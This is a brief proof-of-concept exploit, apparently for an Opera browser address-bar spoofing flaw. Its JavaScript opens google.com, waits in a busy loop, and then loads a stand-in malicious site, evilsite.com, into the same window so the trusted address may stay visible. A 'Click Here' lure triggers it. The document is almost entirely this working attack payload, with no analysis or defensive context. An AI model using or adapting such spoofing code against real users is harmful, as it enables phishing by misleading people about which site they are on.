Opera Browser Address Bar Spoofing Vulnerability

                                                <script language="javascript">
function pause(pd)
{
date = new Date();
var curDate = null;
do { var curDate = new Date(); }
while(curDate-date < pd);
}
function Spoofing () {
win = window.open('http://www.google.com','new')
pause (3000)
win = window.open('http://www.evilsite.com','new')
}
</script>
<a href="javascript: Spoofing()">Click Here</a>